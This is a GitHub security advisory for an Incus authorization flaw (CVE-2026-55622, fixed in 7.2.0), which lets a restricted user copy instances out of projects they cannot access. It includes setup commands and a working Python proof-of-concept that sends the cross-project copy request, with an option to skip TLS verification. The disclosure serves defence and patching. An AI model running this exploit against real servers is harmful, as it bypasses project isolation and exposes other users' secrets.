GHSA-C9F5-J9C3-MHRG
Vulnerability from github – Published: 2026-08-28 18:57 – Updated: 2026-08-28 18:57
VLAI
Summary
Incus has a project restriction bypass in instance copy across projects
Details
Summary
Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.
Details
cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.
The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.
PoC
Setup
Assumes the target server is remotely accessible and a user/certificate has been added.
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret
# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
- default
# verification, with the restricted certificate
incus ls remote:
Exploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-instance secret --name copy-secret --insecure
Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.
#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-instance", required=True)
ap.add_argument("--name", required=True, help="new instance name in target project")
ap.add_argument("--instance-only", action="store_true")
ap.add_argument("--start", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
body = {
"name": args.name,
"source": {
"type": "copy",
"source": args.source_instance,
"project": args.source_project,
"instance_only": args.instance_only,
},
"start": args.start,
}
path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
return 0
if __name__ == "__main__":
raise SystemExit(main())
Impact
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
Severity
7.7 (High)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v7/cmd/incusd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55622"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T18:57:27Z",
"nvd_published_at": "2026-08-21T15:16:42Z",
"severity": "HIGH"
},
"details": "### Summary\nMissing authorization checks exist for instance copying where an attacker knowing the name of a project that they don\u0027t have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.\n\n### Details\n`cmd/incusd/instances.go` authorizes `POST /1.0/instances` against the target project. In the copy path, `cmd/incusd/instances_post.go` then loads the source instance from `req.Source.Project` without checking whether the caller can view that source instance.\n\nThe copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.\n\n### PoC\n\n#### Setup\n\nAssumes the target server is remotely accessible and a user/certificate has been added.\n\n```\n# create a new project and instance\nincus project create secrets\nincus profile show default | incus --project secrets edit default\nincus --project secrets init images:debian/trixie secret\n\n# restrict an existing certificate to prevent access to the project\nincus config trust edit cert-fp\n#\u003e set, for example\nrestricted: true\nprojects:\n - default\n\n# verification, with the restricted certificate\nincus ls remote:\n```\n\n#### Exploitation\n\nThe below script was partly generated. To copy the `secret` instance to the `default` project, the following command can be used.\n\n```\npython3 poc.py --url https://IP-REMOTE:8443 \\\n --cert path/to/client.crt --key path/to/client.key \\\n --target-project default --source-project secrets \\\n --source-instance secret --name copy-secret --insecure\n```\n\nWait a bit for the instance to be copied, then `incus ls remote:` to see the copied instance.\n\n```\n#!/usr/bin/env python3\n\"\"\"Copy an instance from a project the caller should not be able to read.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport ssl\nimport sys\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\ndef post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -\u003e bytes:\n ctx = ssl.create_default_context()\n if insecure:\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n ctx.load_cert_chain(cert, key)\n\n req = urllib.request.Request(\n url.rstrip(\"/\") + path,\n data=json.dumps(body).encode(),\n method=\"POST\",\n headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n )\n try:\n with urllib.request.urlopen(req, context=ctx) as resp:\n return resp.read()\n except urllib.error.HTTPError as exc:\n sys.stderr.write(exc.read().decode(errors=\"replace\") + \"\\n\")\n raise\n\n\ndef main() -\u003e int:\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--url\", required=True)\n ap.add_argument(\"--cert\", required=True)\n ap.add_argument(\"--key\", required=True)\n ap.add_argument(\"--target-project\", required=True)\n ap.add_argument(\"--source-project\", required=True)\n ap.add_argument(\"--source-instance\", required=True)\n ap.add_argument(\"--name\", required=True, help=\"new instance name in target project\")\n ap.add_argument(\"--instance-only\", action=\"store_true\")\n ap.add_argument(\"--start\", action=\"store_true\")\n ap.add_argument(\"--insecure\", action=\"store_true\")\n ap.add_argument(\"--dry-run\", action=\"store_true\")\n args = ap.parse_args()\n\n body = {\n \"name\": args.name,\n \"source\": {\n \"type\": \"copy\",\n \"source\": args.source_instance,\n \"project\": args.source_project,\n \"instance_only\": args.instance_only,\n },\n \"start\": args.start,\n }\n path = \"/1.0/instances?\" + urllib.parse.urlencode({\"project\": args.target_project})\n print(json.dumps(body, indent=2))\n if args.dry_run:\n return 0\n print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors=\"replace\"))\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\n### Impact\n\nAn attacker can copy instances they don\u0027t normally have access to, possibly leading to information disclosure.",
"id": "GHSA-c9f5-j9c3-mhrg",
"modified": "2026-08-28T18:57:27Z",
"published": "2026-08-28T18:57:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55622"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/pull/3542"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/commit/1e3ffc53a10950e55de62ac1e0d612be597b84eb"
},
{
"type": "WEB",
"url": "https://discuss.linuxcontainers.org/t/incus-7-2-has-been-released/26879"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxc/incus"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/releases/tag/v7.2.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Incus has a project restriction bypass in instance copy across projects"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…